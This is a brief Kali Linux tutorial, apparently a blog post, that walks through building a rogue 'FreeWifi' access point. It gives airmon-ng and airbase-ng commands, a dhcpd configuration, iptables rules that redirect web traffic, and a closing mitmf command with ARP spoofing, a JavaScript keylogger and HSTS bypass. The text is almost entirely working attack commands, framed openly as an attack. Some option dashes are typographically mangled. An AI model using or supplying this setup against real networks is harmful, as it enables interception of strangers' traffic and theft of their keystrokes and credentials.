Create fake AP for attacking on Kali Linux

Create fake AP for attacking on Kali Linux

1. Install isc-dhcp-server

apt-get install isc-dhcp-server

2. Set monitor mode

airmon-ng check kill

airmon-ng start wlan0

airodump-ng wlan0mon

3. Configure dhcpd.conf

leafpad /etc/dhcp/dhcpd.conf

authoritative;

default-lease-time 700;

max-lease-time 8000;

subnet 192.168.2.0 netmask 255.255.255.0 {

option routers 192.168.2.1;

option subnet-mask 255.255.255.0;

option domain-name “FreeWifi”;

option domain-name-servers 61.XXX.XXX.1,61.XXX.XXX.1,192.168.1.1;

range 192.168.2.100 192.168.2.110;

}

4. Create fake AP using airbase-ng

airbase-ng -e FreeWifi -c 6 wlan0mon

5. Configure at0 interface

ifconfig at0 up

ifconfig at0 192.168.2.1 netmask 255.255.255.0

ifconfig at0 mtu 1400

route add -net 192.168.2.0 netmask 255.255.255.0 gw 192.168.2.1

iptables –flush

iptables –table nat –flush

iptables –delete-chain

iptables –table nat –delete-chain

echo 1 > /proc/sys/net/ipv4/ip_forward

iptables -t nat -A PREROUTING -p udp -j DNAT –to 192.168.1.1 

iptables -P FORWARD ACCEPT

iptables –append FORWARD –in-interface at0 -j ACCEPT

iptables –table nat –append POSTROUTING –out-interface eth0 -j MASQUERADE

iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –to-port 10000

6. Start DHCP Server

dhcpd -cf /etc/dhcp/dhcpd.conf -pf /var/run/dhcpd.pid at0

/etc/init.d/isc-dhcp-server start

7. Run mitmf

mitmf -i at0 –spoof –arp –gateway 192.168.2.1 –jskeylogger –hsts